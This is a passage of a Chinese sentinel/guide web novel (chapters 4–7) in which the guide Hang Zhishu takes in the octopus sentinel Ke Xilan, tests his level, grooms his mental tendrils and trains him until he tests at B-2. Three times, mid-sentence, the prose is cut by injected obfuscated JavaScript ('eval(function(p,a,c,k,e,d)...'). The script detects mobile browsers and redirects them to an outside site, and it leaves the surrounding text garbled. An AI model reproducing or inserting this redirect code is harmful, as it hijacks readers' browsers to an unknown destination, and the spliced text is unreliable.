“小杭老师?他是低年级班导,最近也到了他自己那届的毕业季,挺忙的。要我帮你给他打个电话吗?告诉他你醒了。”护士心细,想到了什么,声音柔缓下来,“你是不是饿了?所里面有配餐,但味道没那么好。”她担心这个孩子初来乍到,吃不惯那些口感过于粗糙的军用营养剂。 客惜斓倒不在意这个,他只关心杭知澍什么时候来,一听说他忙得很,顿时失落起来。他在入校前一直忧虑杭知澍是出于同情、善意和一些微妙的内疚心理帮助他申请进校,恐怕进入学校后就会立刻重新回到自己的生活轨道里,和他桥归桥、路归路。这很顺理成章,他俩萍水相逢,拢共认识也不到一星期,他做得已经很够。他闷闷地瘪嘴,正打算劳烦这位护士姐姐帮忙取一份病号餐来,就听到病房门被极轻地敲了两记。 他眼睛倏地亮起来,看着杭知澍提着袋子推门而入,跟护士寒暄几句,了解他的病情。护士端着东西走出去了,他合上门,这才把冒着香气的打包袋放下,拿出里面的透明餐盒。 杭知澍把筷子递给他,很好笑地看着等得眼角耷拉、望眼欲穿的小孩,等着他恍然大悟的一声——“小笼包!” 杭知澍点头:“我小时候生病挂完水就好这一口。这是学校食堂二楼做的,调味都比外边清淡。下次有机会给你带市区我觉得最对味的那家。” 他接过筷子,又想到什么,没输液的那只右手不安地拨了下筷子头:“这个多少钱啊?我以后挣了钱还你。” 杭知澍扑哧一笑:“可以报销——就是我出了钱,按期统一跟学校报,填个单子审批完,学校都会退给我的。” “真的?”客惜斓懵懵然把眼睁大,很是憧憬,“学校这么好。” “打工人这点福利还是要有的。你的花销都算在上次那件案子里了。”杭知澍拖来陪护用的椅子坐下,盯着他呼呼吹气,把又香又软的热包子皮凑近嘴巴,小心翼翼咬破,随口拈起来话头,“如果运气好天赋够强,学校会给符合条件的A级学生发放补助的,过了B级也会优先录取勤工俭学项目,可以做图书馆整理、训练器材维护、植物园浇水一类的校内兼职,都有钱拿。” 客惜斓一眨眼就塞进三个包子,这东西个头小,吹凉了一口能闷。他眼珠子略略转动,面上顺势浮出一层好奇:“你是多少级的?” “A-2,一杠后面的数字是细分,每个按字母排的大级别上再分1-5的小级,5是满级。”杭知澍边回答边解说,答疑解惑得顺口,绕回到自己身上时显得谦逊又感慨,“学校里最不缺人才,这几年宣传跟上,军校在外界普及度上去了,每年都有天南地北特意过来报考的,这两届新生入学考测出来A级的也能有五六个。我本科进来时B级,去年到A-2,估计是不会再升了。学校硬性要求A级才能报考教职工,老徐也是A-2,所以我俩没固定搭档的经常凑一块儿出任务。我也有留校的打算。” 客惜斓埋头吭吭吃,该听的也舍不得落下,嘴巴里模糊不清的:“没毕业的学生也能和教官搭吗?” “军方哨向哪分那么细,录入了系统都是看任务情况分配,等级上差不多、匹配度及格的都能搭档,打工嘛。”杭知澍看他比流浪猫都好养活,喂什么都吃得香,特别有满足感。 “比起关注我们,”杭知澍理所当然把这个问题理解为了小孩对所接触过为数不多的哨向的好奇,“还是赶快调养好身体,入校要测等级,这会决定班级,也会决定后续培养的资源分配。” 他其实有点忧虑,虽然TTX毒素强悍,但并不意味着小孩精神力也高,军校只收C级和以上生源,客惜斓被药物副作用影响,加之长期在外营养不良生存艰难,不知道精神力情况如何。 他想了想,担心小孩有钻牛角尖的可能,还是提前给打个预防针:“刚开始评级比较低也是正常的,往届新生几百号人最多也就六个A,几乎被大家族包揽了。就是那些成规模的哨向家族,要么是靠特异能力起家的一方权势,要么是世代军功的军方高层世家,自己本身有资源供给年轻一代从小接受最好的培训,跟大多数人不在一条起跑线上。但学校里还是普通哨向家庭出身的居多。” 譬如他自己。 “……而且,那么多人报考学校就是冲着系统训练比野路子高效,连大家族如今都乐意把孩子扔过来练练,基本上85%的学生毕业后都能提高等级,”他笑着指了指自己,“比如说我,也是从B到A的。” 小八爪鱼压根没听懂眼前这人操的繁密心,腮帮子一鼓一鼓,含糊但努力地“嗯嗯”答应着,一派天真不谙,杭知澍又开始操心他噎着,给打包进塑料杯的清汤插了根吸管递过去。 客惜斓一顿炫完,油着嘴去够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418395|168911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塑料袋里湿纸巾。杭知澍见他单手费劲,很习惯地主动拿过来拆封,抖落开,重新对折到合适的方块大小,翘起椅子贴近他,三两下抹掉了嘴唇上沾到的油。 他坐回去,留客惜斓愣愣的在原地,口唇清洁、发凉。 客惜斓半晌稳住心神,含怯道:“医生怎么说,我今晚在这过夜吗?” “先在这儿吧,这几天集中给你清理药物,那东西要清干净最后还得靠代谢,出院之后每周还得过来一趟。”杭知澍看着这小八爪鱼,菜市场冰鲜似的,小脸苍白,可怜得要命,仗着人在医院抢救方便上手捏了把脸颊——居然是有肉的。 然后温声让他心里安定了:“出院了先上我那儿去,一整层宿舍没人,都执行任务去了,到毕业都不回来。过来跟我做个伴。” 客惜斓耳边一下子嗡嘤炸响,直到他带上门出去都还闪着小星星。 他又住了一星期院,像个温顺的实验品供人翻来覆去拍片、插管子,手腕挂水边数精神体吐的泡泡,等着杭知澍带好吃的来探望慰问他。 一晃到了出院的日子,杭知澍挺高兴,他也挺高兴,跟在新饲养员身后认真聆听校内各个模块设施的介绍,一路上不乏打招呼的人,对于杭知澍领了这么个白净净的小孩回来难免好奇,都给三言两语挡了回去。就这么走走停停地进了研究生宿舍楼。 双人间挺大,估计是算进了放出精神体应占的空间。有独立卫浴,厨房,冰箱……?客惜斓有点惊讶,抛去上辈子在组织老啃营养剂不说,军校里不仅有食堂,竟然还允许自己做饭,这让他觉得新鲜和不可思议。杭知澍径自洗了手,围上围裙,打开冰箱门,一回头,问他晚上想吃什么。 “虾还是蟹?”他面上从容娴熟,其实暗地里搜索了好几天海鲜养殖相关内容,一大早上特地出门买的食材。 虾和蟹都放到缸里养起来了,噗噗地喷着气泡。客惜斓趿着贴了粉红派大星图案的崭新蓝色拖鞋,闻声挪过来,望着两只水缸里悠然吐泡泡的活鲜,犹豫不决片刻,指了指其中一口缸:“这个。” 几天前他只有一个捡来的大纸箱子,风餐露宿,现在居然能站在玻璃缸前给自己挑选饲料。 杭知澍寻思做个清淡口的,向他细问过忌口,拿了豆腐和裙带菜,打上鸡蛋准备蒸。客惜斓挑中的大虾被掐头去线,丢进滚水,由墨色转红,被漏勺捞起,玛瑙般水汪汪地剥去壳,淋了酱汁搁在蒸好的一层豆腐一层蛋上。本该再撒把葱花的,照顾小哨兵的味嗅。剩下的三两粒虾就着裙带菜和豆腐煮了碗汤,又另外炒了两盘时蔬和红肉。 没人要的章鱼睡大纸箱,有人喂的章鱼三菜一汤,这就是被饲养的海鲜能过的生活吗。菜上桌的一刻客惜斓被不真切的幸福感淹没了。 杭知澍怕他拘谨,两个人的餐桌上仍三五不时夹菜;又顾虑着影响吃饭的心情,眼看着吃得差不多了,这才提了一嘴:“明天早上我带你去测一下等级。” 客惜斓咀嚼的动作一顿,饭咽下去,瞬间清醒,才想起来忘了件顶重要的事情。 哦豁,这下要完。 5. 第 5 章 感应到有能量注入,暗淡的信息池中流光溢彩,由字母和符号组成的信息流急速变幻,约摸十五秒钟后,光色纷纷熄灭,只余一种颜色凝固在半空。客惜斓收回手掌,望着信息池中全息投影生成的光灿字母,一时百感交集,即便早有所料,仍在心底幽幽地叹了口气。 哨向等级由低到高排序为F到A级,在等级测试仪中呈现以不同颜色的光,分别对应为:棕色F级、白色E级、绿色D级、黄色C级、蓝色B级、紫色A级。另有序列之外的特殊评级,S级,极其罕见,整个C国目前检测出的S级人数不超过10人,几乎集中在军方最顶层,具体人数属于保密信息。这所军校的绝大多数人、包括资深教官也从未亲眼见证过S级的诞生,整个陆北大区已经有二十几年未曾出现过S级哨向,首席之位常年空悬。 今天的这场测试自然也不例外。 那光显现出柔和的淡黄色,意味着杭知澍从外界带回来的这名哨兵,等级评定为C。 C-1,刚好过了入校标准。 客惜斓从测试台上轻巧跳下,几步走到杭知澍面前,乖巧地低着头。杭知澍却仿佛如释重负,摸了摸戴好抑制颈环的小哨兵发顶,欣慰道:“过了就好。” 这比他自己当年入校测试都来得紧张。他出生在哨向家庭,对自己的等级情况心里有数。但客惜斓是个彻头彻尾的野生哨兵,没有任何相关经历,靠着这些天的恶补才对自己的身份有了些基础认知——万一初测没过C,达不到入学要求,被学校拒收,小八爪鱼眼看好转起来的惨淡生涯又要跌回谷底。 柳枝般清亮纤袅的精神触梢被习惯性垂放而下,拂过眼前。感受着头顶一瞬之间轻而柔的摩挲,带着向导的鼓励,客惜斓微微掀起眼帘,看到他确然无虞的面色,又将目光不着痕迹地收回去。 他早已经习惯了凌驾于众人之上的精神力,忘了自己当初刚起步之际也只是个不被看好的小菜鸡。直到昨晚经杭知澍一提醒,才想起了这么回事:上一世的他也是如此,也许是当时镇静药物的妨害降低了精神力,也许是出生以来从未得到过正确引导,一开始的他只堪堪到达C级,是组织里最不起眼的一类存在,充当着高等级的陪练沙包,还险些沦为任务炮灰。但在接受系统训练后,很快就出现了显著提升,并且等级逐年增长,直到升入A级,终于引起了组织高层的重视。 他忍不住抬起自己的右手掌,对着漆黑战术手套包裹住的掌心出神。这部分也和前世一样,但实际上他并不知道后续发展将会如何,也许重生的代价就是让他这辈子只能做个能力平平的C级哨兵——这也说不准呢? 为此他仍然忐忑不安。 他害怕时间一长,杭知澍难免觉得自己大费周折捡回了个倒贴钱的废品。昨晚饭后,回想起先前杭知澍提到过的A级学生补贴和高等级优先勤工俭学,慌出了满背的冷汗。 心理年龄二十二岁的八爪鱼图谋甚远,终极目标当然是有机会和杭教官匹配,如果他永远只是个刚抵达入学标准的C级哨兵,岂不是要眼睁睁看着饲养员另觅良宠。 ——绝对不行!客惜斓脑海里惊涛拍浪,忍不住就着粗糙的类尼龙材质开始啃手指。 向导察觉到身侧弥散的精神力正迅速渗透出焦虑,一回头,看见他无意识的动作,伸手扣着那手心手背移开,眉头微皱:“别啃,不卫生。”对上客惜斓委委屈屈的黑眸,一怔,语气立刻放得柔缓:“虽说你自己的精神体有很厉害的毒性,出门在外,对待入口的东西也要格外注意,万一手套上沾到了什么吸收分解不了的有害物质,直接入口风险还是很大的。这个习惯要改掉,知道吗?” 客惜斓被他牵着手,苦恼地拧眉,“嗯”了一声。 “C级在学校里边很常见,”杭知澍等到他应答,把话题调转,接着往下说道,“这才是入校初测呢,未来还有至少四年的时间,不要心急,别给自己太大压力。” 他听到客惜斓默然半晌,才答复道:“……好。” 杭知澍说得对,时间还长,这才刚开始。但他也没有天真到相信负担一个正在长身体的哨兵的开销能够全额让学校报销,杭知澍自己也还算个学生。如今没有到达学校扶助的标准,军校管理严格,也不能随意外出揽活挣钱,唯有尽快提升实力和等级才能给他的饲养员减轻负担。 这也是为了能更长久地留在杭知澍身边。 这么想的小八爪鱼下定了决心,“我想变强,”他大着胆子,反握住了杭知澍的手,又放开,很轻迅的一下,“你毕业要当教官的,你来教我好不好?” “杭知澍,我想当你第一个学生。” - 当教官和当班导不一样,他当然知道。 客惜斓的语气依赖、信任,虽是恳求,隐隐也撒着娇,让他倏然感觉到了责任重大。以往对待低年级学生只需要从旁辅助提点一二,但客惜斓是一张白纸,他教什么,就有什么,就是什么。这个小孩是他从普通人社会的恶性案件里提溜出来的,因为精神体与生俱来的毒性被坏人盯上,成为犯案的工具,甚至危及生命。从某种层面上来说,除去同情怜悯和象牙塔年轻人一腔热血的拯救心理,他同时也是出于这种顾虑,不愿客惜斓独自行走在外再次被人利用或是误入歧途、造成更大的社会危害,才决定必须要带他返校。 蓝环章鱼极度危险,他希望能将他合理圈养起来,予以正面积极的引导。 因为替社会消除隐患,也是军方的职责所在。 他是向导,也是未来的教官。虽说符合报考条件后立刻着手规划留校任教更多是为了人生求稳——比起在校期间就风风火火往外闯、频繁执行作战任务甚至远赴海外危险地带的同期相比,教职更适合他这种比上不足、比下有余的人,也能让父母安心——但他对自己未来的职业仍然抱有敬畏心和责任感。 他把客惜斓带回来,就对他负有责任。 “……距离下届新生入学还有三个月,”杭知澍直接略过了首肯环节,告诉客惜斓他的规划,“从明天起我会尽量每天拿出三小时教你控制精神力,再根据医疗研究所复诊的结果判断什么时间点开始跟进格斗课程。” 他爽快得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418396|168911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反倒让客惜斓有些意外:“我需要做哪些准备?” 杭知澍停下脚步,转过头,仍然维持牵着他手的动作,稍作思忖,道:“确实需要做些准备。” “今天晚上饭后我们做一次精神梳理。” - 精神梳理,又被称为精神疏导,可以从字面理解为向导为哨兵梳理精神触梢,用于监测和维护哨兵的精神状态。早在X市的临时拘留点杭知澍就提过一次,当时没有得到落实,一直拖到了现在。 先前在研究所体检时同样有向导医生提出过为他做个精神梳理,考虑到他受到药物影响状态不佳,只巡视到较浅层。杭知澍在医生提交检查报告时拿到的判断是:客惜斓对于他们的精神梳理存在明显的抗拒。 现在客惜斓主动要求对他进行训练,杭知澍觉得有必要先摸底一番,对情况有个基本了解,方便制定详细的训练计划;同时也测试一下小孩对他的信任程度。 小八爪鱼看起来还挺喜欢他的精神体。选择报考教官的向导大多匹配域宽广、精神体天然富于亲和力,能够随时作为心理医生就学生的精神状态给出帮助,必要时贡献精神体让小鬼们撸撸毛放松。 每每想到还有这种时候,他就庆幸自己的物种属于昆虫类。 蝴蝶有一副轻盈而脆弱的外形,善于吸引人的注意,又让人放下警惕——你不会觉得这么只纸片般精致脆丽的小东西具有什么攻击性,每一次舒缓而有节律的扇翅都在无形之中诱人沉进它独有的步调频率,镇静、催眠。它甚至还是怡人浅淡的绿色相,让人联想到夏日、薄荷、抹茶,众多清澈而松弛的事物,符合动物对自然栖息地环境的向往和人类的美学。 在哄小孩一途上,可谓是无往不利,还不用付出秃毛成本。 晚餐把玻璃缸里悠闲的螃蟹拎出来煮了,剥开蟹壳后的肉质雪白清亮,配上调好的酱汁,蘸量自取。客惜斓帮着他收拾过碗筷,老老实实找把椅子坐了下来,配合地等着杭知澍处理完手头的工作过来。 说实话,他远比看上去懵懂忐忑的样子紧张得多。 毕竟重生过一回,难保精神图景里不会露出马脚。虽说一般的精神梳理并不会深入到个人精神图景,但对方可是杭知澍…… 他肖想杭知澍这么久,五年零两周,陡然间要让杭知澍给他做精神梳理,有种马甲被掀的羞怯和惶恐。 他在这种羞耻的心情中等到了一只手,杭知澍又顺手撸了他头发,面对面坐下,特意从床上抓了个抱枕抛给他,右手食指屈起,叩到他前额,疑道:“还挺凉快的,怎么脸这么红?太闷了?” 客惜斓心说,你再摸两把,螃蟹都没我熟透;嘴上却只能小声嗫嗫:“有点紧张。” 杭知澍说:“不紧张。” 他娴熟地释放出蝴蝶。 客惜斓眼睛一眨不眨,趁着自个儿精神体还没蹦出来,暗暗在心里打了个招呼:呦,大青提子,又见面了。 下一秒,克莱因带着满身昏暗熄灭的蓝环,腕足糯软蜷张,一朵肉橘色褐斑百合花般翻落进了眼前骤然绵柔的空气。 6. 第 6 章 客惜斓眼疾手快,一把抓住了自己那瞬间拢缩成锥、一梭子扎向淡绿色蝴蝶的精神体。 这是蓝环章鱼求偶的架势。发现潜在□□对象时聚拢腕足成束、迅速冲向对方,然后海星般张开全部腕足,欺身压上,用吸盘紧紧扒住。 精神体是主人心理活动的直观反馈;客惜斓勉强地把嘴巴抿成一线,抬起脸,绷着心虚抢先开口:“对不起……它是第一次见到不带有明显恶意的其他精神体,想跟蝴蝶一起玩……不是要攻击你。”话音逾弱,显得格外懊丧泄气。 脸颊上才消退的红晕旋又弥开,客惜斓垂下眼,没使劲地搓了搓噼啪甩腿的小蓝环章鱼,低声埋怨道:“你怎么这么丢人啊。” 看上去倒真像青春期小孩被戳破心思后的难为情,杭知澍没说什么,体谅地一笑。蝴蝶扑闪几下,主动散发出柔和舒缓的精神力,那精神力薄如一层柔光,由虚无凝实,色相也呈淡绿,肉眼可见地向外扩张,筑就屏障,而后色泽消退,重新隐没于无形。客惜斓手中张牙舞爪的小型章鱼眨眼间安静下来,腕足乖顺地飘垂。 他撒开手,克莱因腕足飘散,静静悬浮在空气中,不再动作。 “除了精神力特别强大的高阶向导,做精神梳理一般来说需要精神体和肢体接触,或是肢体和肢体接触,接触点通常是手或额头,”杭知澍边引导他缓慢集中精神、放开精神触梢,边耐心地同他解释过程,“你的手部特殊,手套暂时不摘,等你以后对精神力的控制上去了再考虑换。” 与活体河豚还有肌肉部分未携带毒素不同,蓝环章鱼浑身带毒,唾液腺毒素含量最高,因此食用、接触、被咬伤都会导致中毒。体检确认了他有意识地把口腔中的毒素导向了上肢肢端,也就是双手,毕竟人类形态下的攻击或自卫行为更少用到牙齿,还存在污染食物、餐具的风险。而目前他对毒素的掌控还很不稳定,不能随心所欲快速调整分布部位,难免非自愿伤人。 杭知澍说完,驱使淡绿无螯蛱蝶轻飘飘飞向客惜斓,在他讶然微张的瞳孔前闪晃一息,旋翅的微风轻如手指,拨开一层又黑又软额发,敞露出前额,蝴蝶从容地叮上。 那像是蝴蝶吻了他额头。通感在一瞬间被打开。屏障笼罩范围内,感官调动到极致,精细得能徒手捉取空气中每一粒悬浮的微尘,视野里一切成像清晰度调高、物体动态呈倍速放慢。眼前如纱幕的淡绿延伸出清亮浓密的枝叶,草木涩香水滴般渗入嗅觉,也弥漫在齿舌间。扩散的向导素消去哨兵潜意识的紧张和抵触,垂丝般的精神触梢从虚空中化生而出,形态仍很模糊。周围晶晶地漂浮着矿物荧光蓝色的粒质。 空中暗蓝触梢成形成丛,带着章鱼腕足特有的柔滑与湿腻感,但细如丝芽。这些初次形成、示人的触梢,乍一显现立刻柔柔地抬起,婉转而富有欺骗性,眨眼间菟丝般争先恐后前伸,迅速缠绕住了散发着向导素的来源——杭知澍——的腰间,将面料微硬的白衬衫绞出一阵唏唦响。 脑门上大扑棱蝴蝶也唦唦响,客惜斓一时间大脑放空,脱口而出:“你身上香。” 触梢色泽黯淡,形态细瘦,很是孱弱和无辜。 杭知澍静待片刻,确认这些精神触梢上并未携带毒素,礼貌回应道:“谢谢。” 然后略加思索,伸手捏住了其中一根,抬眼观察客惜斓本人的反应。 精神梳理也是一种日常状态监测,向导方以此了解哨兵的情绪状况,像杀毒软件扫描计算机一样,通过将精神力蔓延至每根触梢进行问题排查,视情况决定是否要进入深层次的精神域。 C级哨兵所能构建的精神图景还很孱弱。他这次主要是想再仔细检查一下先前的药物注射是否有留下精神隐患,以便及时进行修复。 且不说初次接受正规疏导的哨兵,很多哨兵在具有大量疏导经验的前提下仍会在过程中流露出强烈不安,因为精神疏导往往会暴露哨兵个体内心最原始和真实的想法倾向,而经验丰富的向导可以从中揣测出很多信息。 客惜斓没什么不自然反应——或者说,本来就挺不自然。杭知澍观察着有些憋闷别扭、用嘴默默呼气的小孩,向他确认:“现阶段你的毒素还是主要集中在精神体上,不会外溢到精神力和精神触梢是吗?” “嗯……”客惜斓故意迟疑,话音拖长,装作已经仔细感受过一阵,才给出肯定的答复,“是的,我还没办法从精神体中自由抽调毒素。” 精神力和触梢的毒属性,起码得要到B级以后才能逐渐加上。现阶段他只能破普通人的甲,在开启精神力护盾、等级高于自身的哨兵和向导面前,使出毒素也讨不到几分好处,只能起到短暂麻痹和恐吓的作用。 “我知道了。”杭知澍心里有了考量,确认过无毒,顺手就开始捋那一大把细绳似的暗蓝触梢,把胡乱缠绕、打结成绺的触梢一丝一丝厘清,用虎口压顺、抻平,挪到一旁,撒手,放任其咝咝抽回;一面巡视客惜斓毛坯状图景外的精神域。 这座精神图景还是卵态,处在孵化过程中,朦朦胧胧,看不清昏暗幽深的内里。蝴蝶在卵壁外轻轻扑闪。 巡视的过程中并没有遇到障碍。他用精神力把一路上浮游生物般的杂质消融干净。 精神梳理结束,额前的蝴蝶翅膀一拢,“唦”地消失。 杭知澍换了更加放松的坐姿,两腿岔开,直起的肩背松弛,先告知评估结果:“目前看没什么问题。精神触梢颜色有点暗,应该会随着治疗恢复生机。” 客惜斓正要松口气,就听到他的后半段:“……虽然还处在亚健康的状态,但比起你本人,你的精神体和精神触梢似乎对外界表现出了更活泼的面貌,和,更强烈的好奇心?” 客惜斓差点一口气没上来,还在搜肠刮肚找借口,杭知澍却仿佛了然,自顾自分析道:“还是没习惯新环境吗?不要紧,等开学进入新集体就不容易寂寞了,会有很多年龄差不多的小崽子跟你一块相处的。”小孩嘛,凑够一窝丢进去,混熟了就不拧巴了。 客惜斓眼帘半垂,目光借遮掩不自主地盯着杭知澍起了褶皱的衬衫腰际,上边似乎还残留着触梢攀绕游移过的痕迹,口中嗯嗯唔唔敷衍着。 ——真是委婉宽容的用词,不愧是读了这么多年书的教官,当初组织上级对他的评价就敞亮多了——“侵略性”。 他眼眸晦亮,忽然问道:“教官觉得我性格活泼点比较好吗?” 声线清清,语气幼稚而认真。 “这会有助于你和未来的同学也是战友相处。当然,不是一定要,性格哪有模范标准?这个不算在考核范围内,按你习惯的来。”杭知澍已经认定他心思敏感细腻,打趣间说话谨慎,不想给小孩带去无心的压力。 他看了眼腕表,套着拖鞋的脚尖一挪,朝向外,直起身来,简单拉伸了筋骨,一回头,道:“今天差不多就到这吧,明早六点起,现在可以自由活动,十一点准时熄灯,可以先洗澡。” 客惜斓应了声,杭知澍就回到电脑前继续和文件作斗争。等到他起身倒水,再次路过抱着抱枕发呆的小孩面前,精神体章鱼已经收了回去,客惜斓盯着空空荡荡的小水族缸,螃蟹吃掉了,里边一株仿真水草姹紫嫣红,还静静扎在浓厚彩砂里。 “怎么了?”他端着马克杯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418397|168911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问。客惜斓昨天就很在意这些简易水族缸,想看又不好意思看,有意无意往那凑,目光流连。装虾的用完后就洗干净收了起来,这一个铺过砂、种过水草,是从前他室友用来养观赏鱼的,鱼不好养,没多久就腾出来了,索性摆在那儿,当个生态摆件增添颜色,还能养养食材。 客惜斓想起他刚才说过的,“活泼点有助于和人相处”,仰起脸,直白道:“我可以用这个吗?” 杭知澍一懵:“用来干嘛?” “精神体,”他鼓足勇气,搂紧了抱枕,直直地望向杭知澍,“我的章鱼很喜欢这个,它也想要有个自己的缸。” 杭知澍满怀深思地回到了电脑屏幕前,手指翻飞,敲出一行又一行字,忽然间下定决心点开网页,在搜索引擎和购物网站间来回切换,搜索框里噼里啪啦输入一通,按下回车。 蓝环章鱼分布地区;宠物章鱼用水族缸;水族缸造景…… 屏幕上跳出琳琅满目的图文信息。 就在刚才他直接拒绝了小八爪鱼的要求,望着瞬间蔫下去的小孩,认真解释道:“这是我室友的鱼缸,虽然他现在不养鱼也暂时不回来住了。之前跟他打过招呼可以借用来泡个食材,但总归还是别人的东西,我不能随意赠予。” “还有就是……” 抱枕抵着下巴,小八爪鱼沮丧未收,困惑地抬眸。 “不要住凶宅,买新的。” - 一晃一个半月过去,杭知澍教他如何凝结精神力,利用其制造外部屏障、贴身护盾,如何控制精神触梢进行简单的环境探测。 医疗指示灯嚓嚓熄灭,他被推出仪器,头手处的固定用具松开,医生走上前,示意他可以起身。 推开宿舍门,鲜热的香味水汽扑面而来,杭知澍捞出一满勺烫熟的虾仁,一转头看见小八爪鱼趴在椅背上,脸颊陷进手臂,眼睛亮晶晶,随口问:“今天怎么样?医生怎么说?”顺手倒出根牙签,扎起一弯虾仁往身后递。 客惜斓张口咬掉,闪露尖尖的虎牙。 他心满意足地嚼嚼:“医生说进度不错,比预期更好一点,可以开始体能方面的训练。” 新搬进的教职工单人宿舍比研究生双人间更大,他汇报完,趴到大水族箱前等着杭知澍做饭。精神体蓝环章鱼啪叽一声跳入水中,飘飘悠悠地自由落体,下沉,触到底,腕足铺散在厚实的海沙上,享受放空。 偌大一个五十厘米宽的长方体水族箱只属于这一只不到成人手掌大的章鱼,克莱因住进大别墅,轻易实现了无数人类的梦想。 杭知澍添加了满购物车的鱼缸造景摆件,最终挑拣出这么一套装潢。铺海沙的箱底上放着树脂做的海绵宝宝菠萝屋、一只开口朝上倾斜的废酒桶、打开后流出银币珠宝的藏宝箱、两丛紫红斑斓的珊瑚、暗绿水草、趴在沙上的迷你粉红海星,还有一块蚀满窟窿的造景大石头。 除了最后一件满足八爪鱼钻洞的精神需求,其他的都可以说是更加满足饲养员的精神需求。 杭知澍问:“真的不要落日灯吗?” “真的。” 杭知澍问:“章鱼哥小屋和蟹堡王也……” “只要菠萝屋就好了。” 至少菠萝屋开孔多,可以钻洞。 克莱因更喜欢钻那块平平无奇的灰色大石头,但杭知澍晃过来的时候,它会慢吞吞地迁徙到其他地方,满足一下饲养员的期待。 杭知澍喜欢看八爪鱼窝进颜色鲜艳的菠萝屋、八爪鱼从酒桶里缓慢流出、八爪鱼霸占撬开的亮闪闪藏宝箱。 哄好饲养员比什么都重要。 7. 第 7 章 一开始的体能强化是对于客惜斓而言最痛苦的阶段,精神力不足的情况下,软体动物扒了毒甲就是条脆皮,他靠着不可说的雄心壮志硬扛过两辈子最痛恨的基础体能训练,直到正式进入格斗课程才终于有机会发挥出生物特性优势。 速度和柔韧性。这是他作为蓝环章鱼哨兵相对于耐力和力量薄弱所具有的先天强项。 就是实施起来容易带来尴尬。 计时器“嘀——”地长鸣,杭知澍抬手,娴熟托垫住少年后腰,借他一个支点,让柔软倒立、以四肢实施绞杀的八爪鱼一个后空翻从身上卸下来。 但教官足够专业,教官对战过喜欢扒人的品种也不止他一只。 “你的精神力是不是提高了?”杭知澍喝过几口,拧回矿泉水瓶盖。 客惜斓“吨吨”灌掉大半瓶,长呼一口气,平复后才拿小臂抹着嘴巴回他道:“应该是的,涨了一点,不知道过C-2了没有。” 杭知澍只当他是先前被药物副作用抑制了精神力水平,测不准,如今恢复到了正常值。应该有C-3,仅从方才对战之际一瞬间溢出的精神力波动,他作出判断。 客惜斓却心知肚明:C-3了。他有前世升级的经验,但还不了解军校学生训练后的正常提升速度,他现在的人设可还在扫盲阶段,认知不清晰才是正常的,要避免引起怀疑。 杭知澍若有所思,重新拿起计时器,话锋一转:“不是规定了纯格斗对战禁止使用精神力了吗?上轮作废,休整三分钟后再来一轮,计时开始。” 客惜斓沮丧地膨起腮帮,把塑料瓶口啃得吱嘎响。 三个月集训时间过得飞快。哨兵日课,客惜斓仍然每天坚持负重跑,体质恢复、课程增加后他的起床时间提到了早晨五点,按杭知澍规划好的时间表跑完最后一圈,卸下绑在小腿的负重,他起身出发前往报道点,接着参加开学测试。 时隔三个月,再度把手掌按上这台等级测试仪,那些紊乱流溢的光彩和符号在信息池中跑个不停,率先统一出淡淡的黄光。客惜斓定定地看着池中,还没有收回手掌的意思,那黄色光渐趋浓郁灿亮,淡黄,鹅黄,明黄,黄色相达到极致,骤然间改变。 蓝色! B-2级哨兵。 冷光一出,周围其余师生并无反应,对别人而言这是相对常见的等级,排在身后的同学笑着跟他说了声“不错嘛”,只有一旁站在教官列里的杭知澍和徐榛震惊。 徐榛惊得差点掉了刚从兜里偷摸出来的松子,立刻转头低声质问:“你给小鬼喂什么仙丹了?我警告你别知法犯法啊。” 杭知澍的惊讶没有过多表现在脸上,他整理好蓦然收缩的瞳孔,镇静严肃地回头道:“应该和我的集训关系不大,我一直猜测惜斓本来的精神力可能就在C到B级交界,之前是受到药物副作用和身体素质拖累。” 他觉得自己的想法挺合理:“一般来说,自然界综合杀伤力强的动物转换成精神体等级也低不到哪里去。” “行吧,谅你也不敢刚上任就徇私,”徐榛跟着他转回目光,重新投向场地中央,“抛去前因后果,这也只是达到了普遍水平。” 实际上军校数量最多的、占据生源中段的就是B级哨向。 C级相对少一些,每届的A级生屈指可数。 客惜斓不能大庭广众之下钻进教官队列,测试完就随便找了块地方待着,装作喝水,听着周围已经勾肩搭背、三两熟络起来的新同学议论场中的结果。 柔淡的紫光倏然亮开,吸引了馆内所有人的目光。 今年第一个A级生出现了。 A-1,刚刚过A。周围人投去惊羡目光、报以纷纷议论,唯独客惜斓视线径直挪向教官队列,杭知澍在和徐榛、其他不认识的教官们低声讨论这名新生,场馆里开着屏蔽装置,听不清他口型匆匆变化下的精确内容。 盲猜了会儿,大意也是该生有个不错的出身。 他收回视线,看向场中,开始觉得这个黑短发的高个子哨兵有点讨嫌了。 